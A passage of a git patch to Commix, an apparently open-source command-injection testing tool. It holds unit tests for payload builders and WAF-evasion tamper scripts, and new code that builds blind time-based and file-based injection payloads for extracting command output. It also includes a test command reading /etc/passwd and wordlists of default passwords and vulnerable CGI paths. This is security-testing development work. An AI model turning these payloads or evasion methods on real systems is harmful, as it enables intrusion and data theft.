settings.TIME_RELATED_ATTACK = True + + # Builders that answer with nothing on a POSIX target, because that is not what they are for. + INERT = ("windows_condition_check", "oracle_supported", "_supported", "_var_chain") + + def test_the_sweep_exercises_the_builders_it_found(self): + """ + Counting what was found is not enough: a builder this cannot construct arguments for raises, + is skipped, and takes its separators with it - so the sweep below would pass by never asking. + """ + built, unexercised = 0, [] + for module_name, name, function, parameters in builders(): + answered = False + for separator in SEPARATORS: + try: + payload = function(separator, *[argument_for(_) for _ in parameters[1:]]) + except Exception: + continue + if isinstance(payload, str) and payload.strip(): + answered, built = True, built + 1 + if not answered and name not in self.INERT: + unexercised.append(module_name + "." + name) + self.assertEqual([], unexercised) + self.assertGreater(built, 100) + + def test_no_builder_carries_a_separator_it_is_not_proving(self): + offenders = [] + for module_name, name, function, parameters in builders(): + if (module_name, name) in UNRESOLVED: + continue + for separator in SEPARATORS: + try: + payload = function(separator, *[argument_for(_) for _ in parameters[1:]]) + except Exception: + continue + if not isinstance(payload, str): + continue + counted = separators_in(payload) + added = sorted(_ for _ in counted if counted[_] and _ != separator) + if added: + offenders.append(module_name + "." + name + " adds " + + ",".join(repr(_) for _ in added) + " under " + repr(separator)) + self.assertEqual([], offenders) + + def test_the_unresolved_list_names_builders_that_exist(self): + known = set((module_name, name) for module_name, name, _, _ in builders()) + self.assertEqual(set(), UNRESOLVED - known) + + def test_the_unresolved_list_holds_nothing_already_compliant(self): + # A builder that has been written clean must come off the list, or it stops being checked. + still_offending = set() + for module_name, name, function, parameters in builders(): + if (module_name, name) not in UNRESOLVED: + continue + for separator in SEPARATORS: + try: + payload = function(separator, *[argument_for(_) for _ in parameters[1:]]) + except Exception: + continue + if not isinstance(payload, str): + continue + counted = separators_in(payload) + if any(counted[_] and _ != separator for _ in counted): + still_offending.add((module_name, name)) + self.assertEqual(UNRESOLVED, still_offending) + +class PayloadShape(unittest.TestCase): + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + settings.TIME_RELATED_ATTACK = True + + def test_every_builder_hands_back_a_payload(self): + empty = [] + for module_name, name, function, parameters in builders(): + try: + payload = function(";", *[argument_for(_) for _ in parameters[1:]]) + except Exception: + continue + if isinstance(payload, str) and not payload.strip(): + empty.append(module_name + "." + name) + self.assertEqual([], empty) + + def test_an_interpreter_payload_separates_its_statements_without_a_semicolon(self): + # A carriage return is a line break to the interpreter and not an operator to a filter. + from src.core.techniques.time_based import tb_payloads + payload = tb_payloads.decision_alter_interpreter(";", "MARKER", 1, 5, "GET") + self.assertIn("import time" + settings.END_LINE.CR, payload) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_settings.py b/tests/test_settings.py new file mode 100644 index 0000000000..52fb7d37df --- /dev/null +++ b/tests/test_settings.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import unittest + +from tests._testutils import tamper_modules +from src.utils import settings + +class TamperTables(unittest.TestCase): + """ + Every table that names a tamper script has to name one that exists, or the run reaches for a + module that is not there - and nothing short of hitting that line would say so. + """ + def setUp(self): + self.scripts = set(tamper_modules()) + + def test_the_flag_dictionary_covers_exactly_the_scripts_on_disk(self): + self.assertEqual(self.scripts, set(settings.TAMPER_SCRIPTS)) + + def test_the_evasion_profile_names_scripts_that_exist(self): + missing = [] + for target_os, tiers in settings.WAF_EVASION_PROFILE.items(): + for tier in tiers: + for script in tier.split(","): + if script.strip() not in self.scripts: + missing.append(target_os + ": " + script) + self.assertEqual([], missing) + + def test_the_evasion_profile_tiers_hold_no_conflicting_pair(self): + conflicts = set(tuple(sorted(pair)) for pair in settings.INCOMPATIBLE_TAMPER_SCRIPTS) + offenders = [] + for target_os, tiers in settings.WAF_EVASION_PROFILE.items(): + for tier in tiers: + scripts = [_.strip() for _ in tier.split(",")] + for first in scripts: + for second in scripts: + if first < second and (first, second) in conflicts: + offenders.append(target_os + ": " + first + " with " + second) + self.assertEqual([], offenders) + + def test_the_conflict_pairs_name_scripts_that_exist(self): + missing = [] + for pair in settings.INCOMPATIBLE_TAMPER_SCRIPTS: + for script in pair: + if script not in self.scripts: + missing.append(script) + self.assertEqual([], missing) + + def test_a_script_is_never_declared_to_conflict_with_itself(self): + self.assertEqual([], [_ for _ in settings.INCOMPATIBLE_TAMPER_SCRIPTS if _[0] == _[1]]) + +class SeparatorTables(unittest.TestCase): + """ + The separators a payload can be built on. + """ + def test_each_level_holds_the_one_below_it(self): + self.assertTrue(set(settings.SEPARATORS_LVL1).issubset(set(settings.SEPARATORS_LVL2))) + self.assertTrue(set(settings.SEPARATORS_LVL2).issubset(set(settings.SEPARATORS_LVL3))) + + def test_the_default_separators_are_all_offered(self): + self.assertTrue(set(settings.DEFAULT_SEPARATORS).issubset(set(settings.SEPARATORS_LVL1))) + + def test_the_pipe_separator_is_the_one_the_scripts_compare_against(self): + self.assertIn(settings.PIPE_SEPARATOR, settings.DEFAULT_SEPARATORS) + +class TamperMetadata(unittest.TestCase): + """ + What every script has to declare for the loader to read it back. + """ + def test_every_script_declares_its_own_name_and_tier(self): + offenders = [] + for name, module in tamper_modules().items(): + if not hasattr(module, "__tamper__"): + offenders.append(name + ": no '__tamper__'") + elif module.__tamper__ != name: + offenders.append(name + ": declares '" + str(module.__tamper__) + "'") + if not hasattr(module, "__priority__"): + offenders.append(name + ": no '__priority__'") + self.assertEqual([], offenders) + + def test_every_script_says_what_it_does(self): + # Read the way '--list-tampers' reads it - out of the file, not off the imported module. + missing = [] + for name, module in tamper_modules().items(): + with open(module.__file__) as script: + if not re.search(r"About:(.*)\n", script.read()): + missing.append(name) + self.assertEqual([], missing) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_settings_regex.py b/tests/test_settings_regex.py new file mode 100644 index 0000000000..d768658eaa --- /dev/null +++ b/tests/test_settings_regex.py @@ -0,0 +1,92 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +The patterns that drive recognition - of an encoding, of a directory, of an evaluated language. +A bad edit to one of them fails silently: nothing raises, the thing it looked for simply stops +being found. Compiled here in one sweep, with the busiest ones pinned to a case that must match +and a case that must not. +""" + +import re +import unittest + +from src.utils import settings + +def regex_constants(): + return dict((name, getattr(settings, name)) for name in dir(settings) + if name.endswith("_REGEX") and isinstance(getattr(settings, name), str)) + +class EveryPatternCompiles(unittest.TestCase): + def test_the_sweep_finds_the_patterns_at_all(self): + # Without this the sweep below passes by finding nothing, which is the one way it must not pass. + self.assertGreater(len(regex_constants()), 15) + + def test_every_pattern_compiles(self): + failures = [] + for name, pattern in regex_constants().items(): + try: + re.compile(pattern.replace("%s", "X") if "%s" in pattern else pattern) + except re.error as error: + failures.append(name + ": " + str(error)) + self.assertEqual([], failures) + +class RecognitionPatterns(unittest.TestCase): + """ + What each one is supposed to recognise, and what it must leave alone. + """ + def test_base64_recognition(self): + self.assertTrue(re.search(settings.BASE64_RECOGNITION_REGEX, "Y29tbWl4")) + self.assertFalse(re.search(settings.BASE64_RECOGNITION_REGEX, "not base64!")) + + def test_hex_recognition(self): + self.assertTrue(re.search(settings.HEX_RECOGNITION_REGEX, "0x636f6d6d6978")) + self.assertFalse(re.search(settings.HEX_RECOGNITION_REGEX, "zzz")) + + def test_a_directory_is_recognised_by_the_file_at_the_end_of_it(self): + # The web root is read back out of a path the target printed, which is a path to a file. + self.assertEqual("/var/www/html/index.php", + re.search(settings.DIRECTORY_REGEX, "in /var/www/html/index.php on line 3").group(0)) + self.assertIsNone(re.search(settings.DIRECTORY_REGEX, "/var/www/html")) + + def test_the_php_probe_reads_the_version_back(self): + answer = '<tr><td class="e">PHP Version </td><td class="v">8.2.7</td></tr>' + self.assertEqual("8.2.7", re.search(settings.EVAL_PROBE_REGEX, answer).group(1)) + self.assertIsNone(re.search(settings.EVAL_PROBE_REGEX, "<h1>nothing here</h1>")) + +class EvalGrammarProbes(unittest.TestCase): + """ + Each evaluated language answers a probe of its own, and the pattern that reads the answer back + has to match what that language actually prints. + """ + def test_every_grammar_probe_regex_compiles(self): + import glob, os, importlib + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + checked, failures = 0, [] + for path in sorted(glob.glob(os.path.join(root, "src", "core", "eval", "grammars", "*.py"))): + name = os.path.basename(path)[:-len(".py")] + if name == "__init__": + continue + grammar = importlib.import_module("src.core.eval.grammars." + name) + checked += 1 + try: + re.compile(grammar.PROBE_REGEX) + except re.error as error: + failures.append(name + ": " + str(error)) + self.assertGreater(checked, 4) + self.assertEqual([], failures) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_tamper.py b/tests/test_tamper.py new file mode 100644 index 0000000000..df5cdacc1e --- /dev/null +++ b/tests/test_tamper.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import unittest + +from tests._testutils import SEPARATORS, stage, tamper_modules, separators_in +from src.utils import settings + +# The scripts that cannot write their rewrite without an operator of their own, and why. +SMUGGLES_BY_DESIGN = { + # 'rev' reads from a pipe, and a filter stripping '|' has stripped '&' before it. + "rev": ("&", "&&"), + "randomcase": ("&", "&&"), + # 'od' reads a byte from its standard input alone; see the script's own notes. + "printf2echo": SEPARATORS, +} + +class TamperSeparators(unittest.TestCase): + # 'xforwardedfor' rewrites the request's headers, not the payload, so it takes no payload at all. + NOT_A_PAYLOAD_REWRITE = ("xforwardedfor",) + + def test_the_sweep_reaches_every_script(self): + """ + A script this cannot call raises, is skipped, and takes its separators with it - so the sweep + below would pass by never asking. Counting what was found would not show that. + """ + self.assertGreater(len(tamper_modules()), 40) + raised = [] + for name, module in tamper_modules().items(): + if not hasattr(module, "tamper") or name in self.NOT_A_PAYLOAD_REWRITE: + continue + for separator in SEPARATORS: + for target_os in (settings.OS.UNIX, settings.OS.WINDOWS): + try: + module.tamper(stage(separator, target_os=target_os)) + except Exception as error: + raised.append(name + ": " + type(error).__name__) + self.assertEqual([], sorted(set(raised))) + + """ + A payload must carry only the separator it is proving, anywhere in the string. + """ + def test_no_script_smuggles_an_unproved_separator(self): + offenders = [] + for separator in SEPARATORS: + for name, module in tamper_modules().items(): + if not hasattr(module, "tamper"): + continue + for target_os in (settings.OS.UNIX, settings.OS.WINDOWS): + payload = stage(separator, target_os=target_os) + try: + tampered = module.tamper(payload) + except Exception: + continue + before, after = separators_in(payload), separators_in(tampered) + added = [_ for _ in after if after[_] > before[_] and _ != separator] + if added and separator not in SMUGGLES_BY_DESIGN.get(name, ()): + offenders.append(name + " adds " + ",".join(added) + " under " + repr(separator)) + self.assertEqual([], offenders) + + def test_fold_alone_carries_no_operator_at_all(self): + from src.tamper.obfuscation.posix import randomcase + for separator in SEPARATORS: + payload = stage(separator, rev=False) + tampered = randomcase.tamper(payload) + before, after = separators_in(payload), separators_in(tampered) + self.assertEqual(before, after, "randomcase changed the separator count under " + repr(separator)) + +class TamperOperatingSystem(unittest.TestCase): + """ + A script declared for one shell must answer for the other, since the operating system can settle + after it was accepted - a target that sends no banner is not fingerprinted until a payload lands. + """ + def test_every_os_specific_script_guards_at_runtime(self): + unguarded = [] + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for directory, _, filenames in os.walk(os.path.join(root, "src", "tamper")): + if "posix" not in directory and "windows" not in directory: + continue + for filename in filenames: + if not filename.endswith(".py") or filename == "__init__.py": + continue + with open(os.path.join(directory, filename)) as script: + source = script.read() + start = source.find("def tamper(payload)") + if start != -1 and "TARGET_OS" not in source[start:]: + unguarded.append(filename) + self.assertEqual([], unguarded) + +class TamperCommandIntegrity(unittest.TestCase): + """ + What the user asked to run is what has to run: a rewrite may hide the command, never change it. + """ + def test_arguments_keep_their_own_case(self): + from src.tamper.obfuscation.posix import randomcase + # 'awk -F' is what the operating system users are read with, and '-f' is a different flag. + for command in ("echo Hello", "awk -F ':' '{print $1}' /etc/passwd", "ping -n 1 127.0.0.1"): + arguments = command.partition(settings.SINGLE_WHITESPACE)[2] + for separator in SEPARATORS: + for rev in (False, True): + payload = stage(separator, command=command, rev=rev) + self.assertIn(arguments, randomcase.tamper(payload), + "randomcase altered the arguments of '" + command + "' under " + repr(separator)) + + def test_reversal_keeps_every_word_of_the_command(self): + from src.core.controller import checks + # The words come back in reverse order too, so a command and its arguments read as they were. + for separator in (";", settings.END_LINE.LF): + program = checks.awk_reverse_program(separator) + self.assertNotIn("|", program) + if separator == settings.END_LINE.LF: + self.assertNotIn(";", program, "the newline-separated program still carries a ';'") + + def test_only_the_name_is_varied(self): + from src.tamper.obfuscation.posix import randomcase + for target_os in (settings.OS.UNIX, settings.OS.WINDOWS): + payload = stage(";", command="echo Hello", target_os=target_os) + self.assertIn("Hello", randomcase.tamper(payload)) + +class TamperFormSelection(unittest.TestCase): + """ + Where a rewrite needs an operator, the one it is given is the separator under test. + """ + def test_rev_reads_back_through_the_proved_operator(self): + from src.tamper.obfuscation.posix import rev + expected = {";": "awk", settings.END_LINE.LF: "awk", "|": "|rev", "&": "|rev", "&&": "|rev"} + for separator, marker in expected.items(): + payload = stage(separator, rev=True) + self.assertIn(marker, rev.tamper(payload), + "rev did not use '" + marker + "' under " + repr(separator)) + + def test_no_separator_leaves_the_command_untouched(self): + from src.tamper.obfuscation.posix import rev + for separator in list(SEPARATORS) + ["|"]: + payload = stage(separator, rev=True) + self.assertNotEqual(payload, rev.tamper(payload), + "rev handed back the payload unchanged under " + repr(separator)) + +if __name__ == "__main__": + unittest.main() From 33b996884efbbb21073b0c484a1522ea478437a8 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 28 Oct 2026 08:09:58 +0200 Subject: [PATCH 0931/1023] Various fixes, improvements, and updates --- data/txt/default_passwords.txt | 1 - data/txt/shocker-cgi_list.txt | 7 - .../techniques/tempfile_based/tfb_payloads.py | 48 ++++++ src/core/techniques/time_based/tb_payloads.py | 144 +++++++++++++++--- src/tamper/eval/php/phpnoletters.py | 57 ++++--- src/tamper/obfuscation/generic/__init__.py | 18 +++ .../{posix => generic}/randomcase.py | 24 +-- src/tamper/obfuscation/posix/rev.py | 26 ++-- src/utils/settings.py | 2 +- tests/test_payloads.py | 86 ++++++++++- tests/test_tamper.py | 56 ++++++- 11 files changed, 379 insertions(+), 90 deletions(-) create mode 100644 src/tamper/obfuscation/generic/__init__.py rename src/tamper/obfuscation/{posix => generic}/randomcase.py (81%) diff --git a/data/txt/default_passwords.txt b/data/txt/default_passwords.txt index d9cb41b02b..9cdede3843 100644 --- a/data/txt/default_passwords.txt +++ b/data/txt/default_passwords.txt @@ -109,7 +109,6 @@ operator optus ovislink password -password password1 pentagram pfsense diff --git a/data/txt/shocker-cgi_list.txt b/data/txt/shocker-cgi_list.txt index 903decf9cc..4cf8f35dd6 100644 --- a/data/txt/shocker-cgi_list.txt +++ b/data/txt/shocker-cgi_list.txt @@ -165,7 +165,6 @@ /cgi-bin/lookwho.cgi /cgi-bin/lwgate.cgi /cgi-bin/MachineInfo -/cgi-bin/MachineInfo /cgi-bin/magiccard.cgi /cgi-bin/mail/emumail.cgi /cgi-bin/maillist.cgi @@ -244,8 +243,6 @@ /cgi-bin/smartsearch.cgi /cgi-bin/smartsearch/smartsearch.cgi /cgi-bin/snorkerz.bat -/cgi-bin/snorkerz.bat -/cgi-bin/snorkerz.cmd /cgi-bin/snorkerz.cmd /cgi-bin/sojourn.cgi /cgi-bin/spin_client.cgi @@ -332,14 +329,11 @@ /ez2000/ezboard.cgi /ez2000/ezman.cgi /fcgi-bin/echo -/fcgi-bin/echo -/fcgi-bin/echo2 /fcgi-bin/echo2 /Gozila.cgi /hitmatic/analyse.cgi /hp_docs/cgi-bin/index.cgi /html/cgi-bin/cgicso -/html/cgi-bin/cgicso /index.cgi /info.cgi /infosrch.cgi @@ -373,7 +367,6 @@ /sample04.cgi /sampleposteddata.cgi /scancfg.cgi -/scancfg.cgi /servers/link.cgi /setpasswd.cgi /SetSecurity.shm diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index 449c14aeb7..f3aebbd20f 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -47,6 +47,17 @@ def flattened_file_text(OUTPUT_TEXTFILE): """ return "tr '" + settings.END_LINE.ESCAPED_LF + "' '\\040' <" + OUTPUT_TEXTFILE +def flattened_trimmed_text(OUTPUT_TEXTFILE): + """ + The same one line, joined and trimmed in the one read, for a separator that cannot carry the + variable the two steps above pass between them. + + Each rule holds a single statement, so the program needs no ';' of its own, and the join is + written as 'OFS' rather than a literal space - which a script rewriting whitespace would + otherwise rewrite inside awk's own quotes, where it is text rather than a separator. + """ + return ("awk 'NR>1{out=(out)(OFS)}{out=(out)($0)}END{print(out)}' " + OUTPUT_TEXTFILE) + def trimmed_output_text(): """ The flattened text without the space standing in for the trailing newline, which had been making @@ -79,6 +90,12 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + "sleep $((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1})))" ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + # The write leaves no output of its own, so the read right after it reads as one word - + # which sequences the two without an operator between them. + payload = separator + tb_payloads._timed_comparison(timesec, j, + tb_payloads._length_arg_expr(settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX)) elif separator == "&": payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + "&&" + @@ -135,6 +152,10 @@ def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + tb_payloads._py_timed_comparison(timesec, j, + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX) elif separator == "&&" : ampersand = "&" payload = (ampersand + @@ -204,6 +225,20 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + "1 >" + OUTPUT_TEXTFILE ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + arith_operator = "<=" if operator == "-le" else "==" + # Every step is a substitution inside the one command, and they are expanded left to right: + # the command runs, the file is flattened back over itself, the length is read off it, and + # the decimals are written last - after the delay has been scaled, since the word carrying + # them is built before 'sleep' is run. Nothing here chains, so nothing is smuggled. + measured = (settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + "echo \"" + settings.CMD_SUB_PREFIX + flattened_trimmed_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) + to_decimals = (settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + "od -A n -t d1 <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX) + payload = (separator + + tb_payloads._timed_comparison(timesec, j, tb_payloads._length_arg_expr(measured), arith_operator) + + to_decimals) elif separator == "&": payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "&&" + " " + flattened_file_text(OUTPUT_TEXTFILE) + settings.CMD_SUB_SUFFIX + "&&" + @@ -271,6 +306,10 @@ def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep($((" + str(timesec) + "*(" + str(j) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + tb_payloads._py_timed_comparison(timesec, j, + tb_payloads._py_write_expr(cmd, OUTPUT_TEXTFILE) + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX) elif separator == "&&" : ampersand = "&" payload = (ampersand + @@ -336,6 +375,9 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + settings.RANDOM_VAR_GENERATOR + ")))" ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + tb_payloads._timed_comparison(timesec, ascii_char, + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX, arith_operator) elif separator == "&&" : ampersand = "&" payload = (ampersand + @@ -384,6 +426,9 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + tb_payloads._py_timed_comparison(timesec, ascii_char, + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\"" + settings.CMD_SUB_SUFFIX, arith_operator) elif separator == "&&" : ampersand = "&" payload = (ampersand + @@ -427,6 +472,9 @@ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_ settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX ) + elif separator in ("&", "&&") and not settings.USE_BACKTICKS: + payload = separator + tb_payloads._py_timed_comparison(timesec, ascii_char, + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX) elif separator == "&&" : ampersand = "&" payload = (ampersand + diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index fcfab74b3a..b818f862da 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -13,6 +13,8 @@ For more see the file 'readme/COPYING' for copying permission. """ +import re +import random from src.utils import settings from src.core.controller import checks @@ -37,6 +39,20 @@ def _output_word(cmd): def _length_expr(word): return "$(printf '%s' \"" + word + "\" | wc -c)" +""" +The same count, handed to 'awk' as an argument instead of carried in a variable. A separator that +backgrounds what it chains - '&' - cannot pass '${#var}' on to the command after it, and the two +ways around that both reach for an operator the payload is not proving: '&&' to hold the variable, +or a pipe into 'wc'. Asked this way the whole measurement is one command, so nothing is chained at +all. Counted in characters, as '${#var}' counts, so the branches that use either agree. + +Nesting one substitution inside another is what this costs, which backticks cannot express without +escaping - so the caller keeps to its own shape where those are in play. +""" +def _length_arg_expr(word): + return (settings.CMD_SUB_PREFIX + "awk 'BEGIN{print(length(ARGV[1]))}' \"" + word + "\"" + + settings.CMD_SUB_SUFFIX) + """ The ordinal of the output's Nth byte, newlines counted among them. 'cut -c' would answer per line instead, which is a different byte on any output that has more than one - and none at all for the @@ -52,34 +68,84 @@ def _ordinal_expr(word, num_of_chars): " | head -c 1" + settings.END_LINE.LF + "printf X)\")") """ -The command's output, measured by the alternative interpreter. The output travels through a pipe -rather than into the program's own source: substituted there, a quote in it would close the string -literal it sits in and the payload would come back at once, having measured nothing. +The interpreter reads the output as an argument of its own rather than off a pipe. It is still data +either way - never text spliced into the program's own source, so a quote in it closes nothing - +and a pipe would be an operator the payload is not proving. The program's own statements are parted +by a carriage return, which the interpreter reads as a line break and a filter does not read at all. + +'os.fsencode' puts the bytes back exactly as they arrived, surrogates and all, so this counts the +same bytes the pipe did - and the same ones the ordinal below indexes. +""" +def _py_source(statements): + return "\"" + settings.END_LINE.CR.join(statements) + "\"" + +def _py_call(cmd, statements): + return (settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c " + + _py_source(statements) + " \"" + _output_word(cmd) + "\"" + settings.CMD_SUB_SUFFIX) + +""" +The command's output, measured by the alternative interpreter. """ def _py_length_expr(cmd): - return (settings.CMD_SUB_PREFIX + "printf '%s' \"" + _output_word(cmd) + "\"|" + - settings.LINUX_PYTHON_INTERPRETER + - " -c \"import sys;print(len(sys.stdin.buffer.read()))\"" + settings.CMD_SUB_SUFFIX) + return _py_call(cmd, ("import os,sys", "print(len(os.fsencode(sys.argv[1])))")) """ -The command's output, saved to a file by the alternative interpreter - the tempfile-based technique's -own write step. Piped in the same way _py_length_expr is and for the same reason: the output is data -read off a stream, never text spliced into the program's own source, so nothing in it can break out -of a literal or be misread as code. +The command's output, saved to a file by the alternative interpreter - the tempfile-based +technique's own write step. """ def _py_write_expr(cmd, output_file): - return (settings.CMD_SUB_PREFIX + "printf '%s' \"" + _output_word(cmd) + "\"|" + - settings.LINUX_PYTHON_INTERPRETER + " -c \"import sys;open('" + output_file + - "','wb').write(sys.stdin.buffer.read())\"" + settings.CMD_SUB_SUFFIX) + return _py_call(cmd, ("import os,sys", + "open('" + output_file + "','wb').write(os.fsencode(sys.argv[1]))")) """ -The ordinal of that output's Nth byte, read the same way. Indexing bytes answers with the number -itself, so nothing has to be converted afterwards. +The ordinal of that output's Nth byte. Indexing bytes answers with the number itself, so nothing +has to be converted afterwards. """ def _py_ordinal_expr(cmd, num_of_chars): - return (settings.CMD_SUB_PREFIX + "printf '%s' \"" + _output_word(cmd) + "\"|" + - 